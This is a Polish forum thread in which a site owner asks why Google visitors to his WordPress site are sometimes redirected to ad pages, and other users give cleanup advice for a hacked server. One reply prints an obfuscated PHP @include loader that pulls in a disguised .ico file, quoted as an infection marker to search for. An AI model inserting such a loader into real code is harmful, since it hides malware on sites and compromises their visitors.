[mkmk200]

Mirki, spotkał się ktoś z podobnym problemem?
Czasami po wejściu na stronę z wyników wyszukiwania Google, lub z linku Google moja firma przekierowuje mnie na jakieś strony reklamowe (pic). Po kliknięciu wstecz, a następnie ponownym kliknięciu w link przekierowuje mnie na prawidłowy adres.
Strona jest postawiona na Wordpressie, ale mam również inną stronę na Drupalu i efekt jest podobny. Problem występuje zarówno na komputerze jak i na telefonie (iOS z Safari)
Ma ktoś jakąś radę na to?
#oszukujo #reklamy #chrome #wordpress

[n0cniarz]

@mkmk200: dostajesz szansę na wygrania ajfona xs i narzekasz ( ͡° ͜ʖ ͡°)

[Roztrzepaniec]

@mkmk200: ale problem występuje tylko wtedy jak wchodzisz na tę stronę?
Na innych tego problemu nie ma nie?

[mkmk200]

@Haczyn: nie
@Roztrzepaniec: tylko w przypadku tych dwóch stron (jedna jest moja, na wordpressie, natomiast ta na Drupalu już nie). Problem nie występuje zawsze, tylko co któreś kliknięcie.

[Ryonnen]

@mkmk200: infekcja na serwerze, przeszukaj FTP, znajdziesz albo w plikach .php jakieś dziwne linijki kodu, albo/oraz dodatkowe pliki na serwerze.

[beeras]

@mkmk200: Tak jak napisał @Ryonnen, zacząłbym od wywalenia wszystkiego poza katalogiem wp-content i wp-config.php, przeszukać dokładnie zawartości katalogów i plików (warto przeszukać na frazę "eval" ale nie tylko to). Usuń nieużywane motywy i wtyczki, poszukaj plików php w wp-content/uploads, pozmieniaj hasła do bazy, sprawdź wp-config.php czy coś się nie dopisało.
Na koniec wgraj czystą instalkę wordpressa (poza /wp-content), zmień hasło do wordpressa i ftp.

[Ryonnen]

@beeras: dosyć hardkorowo podszedłeś do tematu (ʘ‿ʘ)
Ogólnie to szukaj linijek kodu typu:

/*61e7f*/

@include "\057/\167p\055i\156c\154u\144e\163/\152s\057.\0653\067c\061c\0719\056i\143o";

/*61e7f*/

Plików typu .ico z nazwami typu .563c5699.ico, jakieś dziwne pliki .php

[matixrr]

@Haczyn: o czym Ty tu w ogóle gadasz? xD

[Ryonnen]

@matixrr: lepiej nie pytać, co to ma za pomysły...

[Roztrzepaniec]

@mkmk200: to mi po prostu wygląda na adware
Ale nie wiem czy strona może być zainfekowana

[Roztrzepaniec]

@mkmk200: ale w przypadku adware'a byś tak miał na dowolnej stronie
Ba nawet na nowej karcie

[MattheV]

@mkmk200: Ostatnio czyściłem WP jednego ze swoich klientów z tego samego syfu, pliki skórek / modułów były ok - problem leżał po stronie bazy danych w tabeli wp-options.

[mkmk200]

@Ryonnen: @beeras: @MattheV: usunąłem już kilka niepotrzebnych wtyczek oraz w głównym katalogu było parę plików php nieznanego pochodzenia, zobaczymy czy problem będzie dalej występował
Na chwilę obecną dzięki wielkie! :)